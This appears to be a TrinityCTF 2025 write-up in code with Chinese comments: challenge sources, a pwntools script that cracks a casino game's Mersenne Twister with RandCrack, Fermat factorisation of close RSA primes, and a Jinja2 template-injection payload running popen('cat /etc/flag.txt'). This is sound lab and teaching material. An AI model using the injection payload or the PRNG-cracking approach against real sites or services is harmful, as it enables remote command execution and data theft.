TrinityCTF 2025 Writeup

WORK_SECRET = os.getenv('WORK_SECRET', 'dzBySw==')					# Base64: w0rK
COMBINE_SECRET = os.getenv('COMBINE_SECRET', 'YzBtYkluZSBhbDE=')	# Base64: c0mbIne al1
PASSWORD1 = os.getenv('PASSWORD1', 'TkpVZXI=')						# Base64: NJUer
PASSWORD2 = os.getenv('PASSWORD2', 'UEtVZXI=')						# Base64: PKUer
FLAG_SECRET = os.getenv('FLAG_SECRET', 'ZmxhZw==')					# Base64: flag
# 省略一部分内容...
def exit_gate():
    """校门撤离点"""
    print("祝贺你得到了想要的东西。按照通顺的语言习惯组合即可。不要忘记在单词之间加入短下划线_哦~")
    return 1

from Crypto.Util.number import bytes_to_long
import os, signal
import utils

signal.alarm(600)								# 600s 的限时，也就是 TLE 机制（？
assert utils.PoW()								# 一个需要暴力算 sha256 的工作量证明
sec = os.urandom(16)

MENU = '''
[E]ncrypt
[G]etFlag
[Q]uit
'''
while True:
    print(MENU)
    inp = input(">").lower()
    try:
        if inp == "q":							# q 键退出
            raise Exception

        elif inp == "e":						# e 键会提供一个用相同的公钥指数 e=4027 和明文，用不同的模数加密的结果
            rsa = utils.RSA(nbits=1024)
            c = rsa.encrypt(bytes_to_long(sec))
            print(f"{rsa.pub = }\n{c = }")

        elif inp == "g":						# g 键用解出的明文换取 flag
            assert sec == bytes.fromhex(input("sec>").strip())
            utils.solve()
            raise Exception

    except:
        break

import signal
import utils

signal.alarm(600)
assert utils.PoW()

casino = utils.CASINO()											# 构建了一个 casino 猜数游戏
																# 初始有一定的分数
MENU = '''
[R]efresh
[H]it
[S]tand
[Q]uit
'''
while True:
    print(MENU)
    inp = input(">").lower()
    try:
        if inp == "q":											# q 键退出游戏
            raise Exception
        
        elif inp == "r":										# r 键重置游戏
            casino.refresh()

        elif inp == "h":										# h 键进行猜数，要猜的数是随机数
            card = casino.card()
            if (card & 0xFFFF) == int(input("check>")):
                casino.score += 1								# 猜对了加一分
                print("Positive")
            else:
                casino.score -= 2								# 猜错了扣两分
                print("Negative")
                print(f"{card = }")								# 并且会告知正确的数是什么

        elif inp == "s":										# 在得分 ≥ 9999 时按下 s 键获得 Flag
            assert casino.score >= 9999
            utils.solve()
            raise Exception

        assert casino.score > 0									# 分数归零时退出游戏
    except:
        break

class CASINO:
    def __init__(self):											# 初始化
        self.key = os.urandom(16)								# 生成一个密钥 key
        self.rng = random.Random()								# 创建一个随机数生成器
        self.refresh()											# 进行一次刷新操作

    def refresh(self):											# 刷新操作
        seed = int(pow(time.time(), 0.93))						# 基于当前时间的种子 seed（一个伏笔）
        self.rng.seed(bytes_to_long(self.key) + seed)			# 随机数生成器基于 key + seed 生成新的生成器种子
        self.score = 0x4c4										# 初始分数为 610 * 2 分
    
    def card(self):												# 发牌操作
        return self.rng.getrandbits(32)							# 利用随机数生成器生成一个 32 位随机数

seed = int(pow(time.time(), 0.93))				# (int)(时间戳 ^ 0.93)
self.rng.seed(bytes_to_long(self.key) + seed)	# key + seed，其中 key 不会随着 r 操作改变，改变 seed

import hashlib
import string
import itertools
from pwn import *
from randcrack import RandCrack

def solve_pow(prefix, target_hash, length=4):
    # 爆破 XXXX
    for comb in itertools.product(string.ascii_letters + string.digits, repeat=length):
        attempt = ''.join(comb)
        h = hashlib.sha256((attempt + prefix).encode()).hexdigest()
        if h == target_hash:
            return attempt
    return None

def main():
    # 连接信息：
    # xxx.xxx.xxx.xx:xxxxx
    host = '123.456.789.01'
    port = 12345

    # 第一步：接收 PoW 题目
    r = remote(host, port)
    line = r.recvuntil(b'= ').decode()
    target_hash = r.recvline().strip().decode()
    prefix = line.split('+')[1].split(')')[0]  # 提取 iMwfwaWvfBil7B9S 这样的后缀
    print(f"PoW: sha256(XXXX+{prefix}) = {target_hash}")

    # 爆破 PoW
    pow_sol = solve_pow(prefix, target_hash)
    if pow_sol is None:
        print("PoW failed")
        return
    print(f"PoW solution: {pow_sol}")
    r.sendlineafter(b'>', pow_sol.encode())

    # 进入主循环
    rc = RandCrack()

    # 第一阶段：收集前10个随机数
    first_10_cards = []
    for i in range(10):
        r.sendlineafter(b'>', b'H')
        # 猜错（输入 0 ）
        r.sendlineafter(b'check>', b'0')
        resp = r.recvline()
        if b'Negative' in resp:
            line = r.recvline()
            # 解析 card = 12345678
            card_val = int(line.decode().split('=')[1].strip())
            print(f"[{i+1}] card = {card_val}")
            first_10_cards.append(card_val)
        else:
            # 前十次都有猜对的，你应该去买彩票，你不准做题了
            return

    # r 重置
    r.sendlineafter(b'>', b'R')

    # 第二阶段：重新收集624个随机数，前10次用已知的正确值猜测
    score = 610 * 2  # 初始分数
    
    # 前10次使用已知的正确值
    for i in range(10):
        r.sendlineafter(b'>', b'H')
        # 使用之前收集到的正确低16位
        correct_low16 = first_10_cards[i] & 0xFFFF
        r.sendlineafter(b'check>', str(correct_low16).encode())
        resp = r.recvline()
        if b'Positive' in resp:
            score += 1
            print(f"[{i+1}] Correct guess! Score: {score}")
            # 提交给 RandCrack（32 位）
            rc.submit(first_10_cards[i] & 0xFFFFFFFF)
        else:
            # 网速较差/时间窗口没卡好
            score -= 2
            print(f"[{i+1}] Unexpected Negative!")
            return

    # 继续收集剩余的614个随机数
    for i in range(10, 624):
        r.sendlineafter(b'>', b'H')
        # 猜错（输入 0）
        r.sendlineafter(b'check>', b'0')
        resp = r.recvline()
        if b'Negative' in resp:
            score -= 2
            line = r.recvline()
            # 解析 card = xxxxxxxx
            card_val = int(line.decode().split('=')[1].strip())
            print(f"[{i+1}] card = {card_val}")
            # 提交给 RandCrack（32 位）
            rc.submit(card_val & 0xFFFFFFFF)
        else:
            # 你知道我要说什么
            return

    # 第三阶段：全部猜对直到分数足够
    while score < 9999:
        # 预测下一个随机数
        predicted = rc.predict_getrandbits(32)
        low16 = predicted & 0xFFFF

        r.sendlineafter(b'>', b'H')
        r.sendlineafter(b'check>', str(low16).encode())
        resp = r.recvline()
        if b'Positive' in resp:
            score += 1
            print(f"Score: {score}")
        else:
            score -= 2
            print(f"Wrong prediction! Score: {score}")
            # 应该不会出错
            if score <= 0:
                print("Score <= 0, failed")
                return

    # 分数达到 9999，Stand
    r.sendlineafter(b'>', b'S')
    Flag = r.recvline()
    print(Flag)
    r.close()

if __name__ == '__main__':
    main()

p_bits = 180  										# p 是 180 位的数字
close_offset_max = 1 << 20

low = 1 << (p_bits - 1)
high = (1 << p_bits) - 1

a = random.randrange(low, high)						
p = next_prime(a)									# 生成 180 位的随机素数 p
offset = random.randint(1000, close_offset_max)		# 生成一个偏移量，在 1000 ~ 2^20 之间
q = next_prime(p + offset)							# p 加上偏移量后调整生成素数 q
if p == q:
    continue

n = p * q

def fermat_factorization(n):
    a = gmpy2.isqrt(n)
    while True:
        b2 = a * a - n
        if gmpy2.is_square(b2):
            b = gmpy2.isqrt(b2)
            p = a - b
            q = a + b
            return int(p), int(q)
        a += 1

{{cycler.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/flag.txt').read()}}
# 从 cycler 对象开始（Jinja2模板的默认对象），通过 __init__ 获取初始化方法， __globals__ 获取全局命名空间， __builtins__ 获取内置函数， __import__('os') 导入os模块，最终调用 popen() 执行系统命令，read() 进行读取，输出在 HTML 页面上

import hashlib

def md5_calc(account):
    account += "@nju.edu.cn"
    
    # 计算md5
    md5_hash = hashlib.md5(account.encode('utf-8')).digest()
    
    # 转换为十六进制字符串
    code = md5_hash.hex().upper()
    
    return code

account = "itsc"
code = md5_calc(account)
print(f"code: {code}")